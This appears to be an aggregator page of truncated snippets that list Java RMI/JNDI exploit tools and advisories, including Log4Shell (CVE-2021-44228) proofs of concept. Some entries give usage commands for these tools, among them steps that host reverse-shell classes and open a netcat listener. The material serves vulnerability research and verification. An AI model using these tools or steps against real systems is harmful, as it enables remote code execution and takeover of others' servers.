CVE-2021-44228-Apache-Log4j-Rce

使用方法: 1. 运行 RMIServer 2. 运行 Main...

JNDI-Injection-Exploit

介绍 JNDI注入利用工具，生成JNDI链接并启动后端相关服务，可用于Fastjson、Jackson等相关漏洞的验证。 使用 可执行程序为jar包，在命令行中运行以下命令： root@kitploit: $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C command -A address 其中: -C - 远程class文件中要执行的命令。 （可选项 , 默认命令是mac下打开计算器，即"open /Applications/Calculator.app"） -A - 服务器地址，可以是IP地址或者域名。 （可选项...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus English README JNDI-Injection-Exploit-Plus改写自welk1n大佬的JNDI-Injection-Exploit项目。 详细说明 是一款JNDI注入利用工具，可以生成JNDI链接并启动后端相关服务。 根据JNDI的三种触发点，提供3种JNDI利用方式 远程Reference链 （3种） 本地Reference链 （4种） 反序列化链（75种） P.S. 具体利用链名称及依赖见 表格 使用方法 root@kitploit: $ java -jar...

log4shell-rmi-poc

log4shell-rmi-poc 一个利用Java-RMI对Log4j漏洞（CVE-2021-44228）的概念验证 它使用了来自spring-boot-starter-log4j2的Log4j 2.5.7 要求： 已在Java 8（JDK 1.8.025）和Java 11（JDK 11.0.1）上测试 如何运行POC 1. 克隆仓库： root@kitploit: git clone https://github.com/Labout/log4shell-rmi-poc.git 2. 启动攻击者RMI服务器 root@kitploit: cd Log4jshellrmiserver...

CVE-2018-3191-Rce-Exploit

CVE-2018-3191-Rce-Exploit 作者：Break 第一步：java -jar GenPayload.java output SJpayload.bin，地址为RMI服务器地址 第二步：java -jar RMISERVER.jar httpaddress，RMI服务器监听端口1099并在Web服务器上加载远程反向类 第三步：将两个文件（反向shell） LoadObject.class 和 StreamConnection.class 放在HTTP服务器上，并能通过URL访问 第四步：nc -llp 2222 第五步：python weblogic.py...

evil-rmi-server

evil-rmi-server Un servidor RMI malicioso que puede lanzar un comando arbitrario. Puede ser útil para CVE-2021-44228 en un escenario local de escalada de privilegios. Construcción ./gradlew bootJar Ejecución root@kitploit: Usage: java -jar build/libs/evilRMIServer-1.0-SNAPSHOT.jar -hV -p= An evil...

cve_2011_3556

CVE-2011-3556 — 概念验证 PoC 免责声明 此工具是现有Metasploit框架中由mihi开发的概念验证 PoC的Python 3实现。 先决条件 使用此模块只需按照以下说明操作： root@kitploit: 将该仓库克隆到本地。 $ git clone https://github.com/sk4la/cve20113556.git && cd cve20113556/ 可选地设置x位以能够直接执行脚本。 $ chmod u+x exploit.py $ ./exploit.py --help && echo "It works!" 用法 命令行...

EUVD-2017-12325

Malware in sbrugna...

EUVD-2020-30540

Malware in sbrugna...

EUVD-2017-18744

Malicious code in bioql PyPI...

Exploit for CVE-2021-22006

It is an exploit module/toolkit targeting JNDI vulnerabilities. The primary CVE ID is CVE-2021-22006. The target product/service is Java-based applications, specifically those using JNDI services. The vulnerability class/vector is RCE Remote Code Execution, and the probable entry points are...

CVE-2024-28211

nGrinder before 3.5.9 allows connection to malicious JMX/RMI server by default, which could be the cause of executing arbitrary code via RMI registry by remote attacker...

CVE-2020-9761

An issue was discovered in UNCTAD ASYCUDA World 2001 through 2020. The Java RMI Server has an Insecure Default Configuration, leading to Java Code Execution from a remote URL because an RMI Distributed Garbage Collector method is called...

CVE-2024-28211

nGrinder before 3.5.9 allows connection to malicious JMX/RMI server by default, which could be the cause of executing arbitrary code via RMI registry by remote attacker...

GHSA-8V4H-J42H-WFHC Deserialization of Untrusted Data in Spring-flex

The Java implementations of AMF3 deserializers in Pivotal/Spring Spring-flex derive class instances from java.io.Externalizable rather than the AMF3 specification's recommendation of flash.utils.IExternalizable. A remote attacker with the ability to spoof or control an RMI server connection may b...

GHSA-8M35-R25C-QR56 GraniteDS Insecure Deserialization

The Java implementation of GraniteDS, version 3.1.1.GA, AMF3 deserializers derives class instances from java.io.Externalizable rather than the AMF3 specification's recommendation of flash.utils.IExternalizable. A remote attacker with the ability to spoof or control an RMI server connection may be...

JNDI-Injection-Exploit - A Tool Which Generates JNDI Links Can Start Several Servers To Exploit JNDI Injection Vulnerability

JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server. Using this tool allows you get JNDI links, you ca...

CVE-2021-42392

The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution. This can be exploited through various atta...

Remote code execution

The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution. This can be exploited through various atta...

Default configuration

An issue was discovered in UNCTAD ASYCUDA World 2001 through 2020. The Java RMI Server has an Insecure Default Configuration, leading to Java Code Execution from a remote URL because an RMI Distributed Garbage Collector method is called...